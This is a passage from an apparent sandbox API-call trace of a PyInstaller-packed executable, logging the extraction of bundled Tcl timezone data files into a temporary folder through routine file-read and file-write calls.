(lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), lpSecurityAttributes=0x0) returned 1 [0042.244] GetLastError () returned 0x2 [0042.244] SetLastError (dwErrCode=0x2) [0042.244] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Amsterdam") returned 73 [0042.244] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Amsterdam" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\amsterdam"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.244] GetLastError () returned 0x2 [0042.244] SetLastError (dwErrCode=0x2) [0042.244] GetLastError () returned 0x2 [0042.244] SetLastError (dwErrCode=0x2) [0042.245] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Amsterdam", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Amsterdam", lpFilePart=0x0) returned 0x48 [0042.245] GetLastError () returned 0x2 [0042.245] SetLastError (dwErrCode=0x2) [0042.245] GetLastError () returned 0x2 [0042.245] SetLastError (dwErrCode=0x2) [0042.245] GetLastError () returned 0x2 [0042.245] SetLastError (dwErrCode=0x2) [0042.245] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Amsterdam") returned 73 [0042.245] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.245] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Amsterdam" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\amsterdam"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.255] GetFileType (hFile=0x10c) returned 0x1 [0042.255] htonl (hostlong=0x4f220000) returned 0x224f [0042.255] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0042.256] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.256] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x24f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x24f, lpOverlapped=0x0) returned 1 [0042.256] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.256] CloseHandle (hObject=0x10c) returned 1 [0042.256] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.256] htonl (hostlong=0x30000000) returned 0x30 [0042.256] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.256] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.256] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.256] GetFileType (hFile=0x10c) returned 0x1 [0042.256] htonl (hostlong=0x96cb5b00) returned 0x5bcb96 [0042.257] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x607b96, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.257] htonl (hostlong=0x89050000) returned 0x589 [0042.257] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x589) returned 0x550600 [0042.257] htonl (hostlong=0x89050000) returned 0x589 [0042.257] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.257] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.257] htonl (hostlong=0x221a0000) returned 0x1a22 [0042.257] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1a22) returned 0x561090 [0042.257] htonl (hostlong=0x89050000) returned 0x589 [0042.257] htonl (hostlong=0x221a0000) returned 0x1a22 [0042.257] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562ac0 [0042.264] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562ac0 | out: hHeap=0x530000) returned 1 [0042.264] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.264] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.264] CloseHandle (hObject=0x10c) returned 1 [0042.264] GetLastError () returned 0x0 [0042.264] SetLastError (dwErrCode=0x0) [0042.264] GetLastError () returned 0x0 [0042.264] SetLastError (dwErrCode=0x0) [0042.264] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.264] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.264] GetFileType (hFile=0x10c) returned 0x1 [0042.264] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.264] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.264] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.264] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.264] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.264] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.264] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.264] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.264] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.264] CloseHandle (hObject=0x10c) returned 1 [0042.264] GetLastError () returned 0x0 [0042.264] SetLastError (dwErrCode=0x0) [0042.264] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.264] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.265] GetFileType (hFile=0x10c) returned 0x1 [0042.265] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.265] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.265] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.265] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.265] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.265] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.265] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.265] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.265] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.265] CloseHandle (hObject=0x10c) returned 1 [0042.265] GetLastError () returned 0x0 [0042.265] SetLastError (dwErrCode=0x0) [0042.265] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.265] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.265] GetFileType (hFile=0x10c) returned 0x1 [0042.265] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.265] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.265] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.265] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.265] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.265] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.265] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.265] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.266] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.266] CloseHandle (hObject=0x10c) returned 1 [0042.266] GetLastError () returned 0x0 [0042.266] SetLastError (dwErrCode=0x0) [0042.266] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Andorra") returned 71 [0042.266] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Andorra" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\andorra"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.266] GetLastError () returned 0x2 [0042.266] SetLastError (dwErrCode=0x2) [0042.266] GetLastError () returned 0x2 [0042.266] SetLastError (dwErrCode=0x2) [0042.266] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Andorra", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Andorra", lpFilePart=0x0) returned 0x46 [0042.266] GetLastError () returned 0x2 [0042.266] SetLastError (dwErrCode=0x2) [0042.266] GetLastError () returned 0x2 [0042.266] SetLastError (dwErrCode=0x2) [0042.266] GetLastError () returned 0x2 [0042.266] SetLastError (dwErrCode=0x2) [0042.266] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Andorra") returned 71 [0042.266] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.266] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Andorra" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\andorra"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.266] GetFileType (hFile=0x10c) returned 0x1 [0042.266] htonl (hostlong=0x221a0000) returned 0x1a22 [0042.266] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0042.268] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.268] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xa22, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xa22, lpOverlapped=0x0) returned 1 [0042.268] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.268] CloseHandle (hObject=0x10c) returned 1 [0042.268] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.268] htonl (hostlong=0x30000000) returned 0x30 [0042.268] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.268] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.268] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.268] GetFileType (hFile=0x10c) returned 0x1 [0042.268] htonl (hostlong=0x1fd15b00) returned 0x5bd11f [0042.268] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60811f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.268] htonl (hostlong=0x39060000) returned 0x639 [0042.268] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x639) returned 0x550600 [0042.268] htonl (hostlong=0x39060000) returned 0x639 [0042.268] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.268] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.268] htonl (hostlong=0x61e0000) returned 0x1e06 [0042.269] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1e06) returned 0x561090 [0042.269] htonl (hostlong=0x39060000) returned 0x639 [0042.269] htonl (hostlong=0x61e0000) returned 0x1e06 [0042.269] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562ea0 [0042.269] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562ea0 | out: hHeap=0x530000) returned 1 [0042.269] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.269] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.269] CloseHandle (hObject=0x10c) returned 1 [0042.269] GetLastError () returned 0x0 [0042.269] SetLastError (dwErrCode=0x0) [0042.269] GetLastError () returned 0x0 [0042.269] SetLastError (dwErrCode=0x0) [0042.269] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.269] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.269] GetFileType (hFile=0x10c) returned 0x1 [0042.269] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.269] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.269] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.269] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.269] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.269] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.269] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.269] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.269] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.269] CloseHandle (hObject=0x10c) returned 1 [0042.269] GetLastError () returned 0x0 [0042.269] SetLastError (dwErrCode=0x0) [0042.270] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.270] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.270] GetFileType (hFile=0x10c) returned 0x1 [0042.270] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.270] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.270] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.270] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.270] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.270] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.270] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.270] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.270] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.270] CloseHandle (hObject=0x10c) returned 1 [0042.270] GetLastError () returned 0x0 [0042.270] SetLastError (dwErrCode=0x0) [0042.270] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.270] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.270] GetFileType (hFile=0x10c) returned 0x1 [0042.270] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.270] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.270] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.270] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.270] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.270] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.270] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.270] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.271] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.271] CloseHandle (hObject=0x10c) returned 1 [0042.271] GetLastError () returned 0x0 [0042.271] SetLastError (dwErrCode=0x0) [0042.271] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Athens") returned 70 [0042.271] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Athens" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\athens"), dwDesiredAccess=0x80, 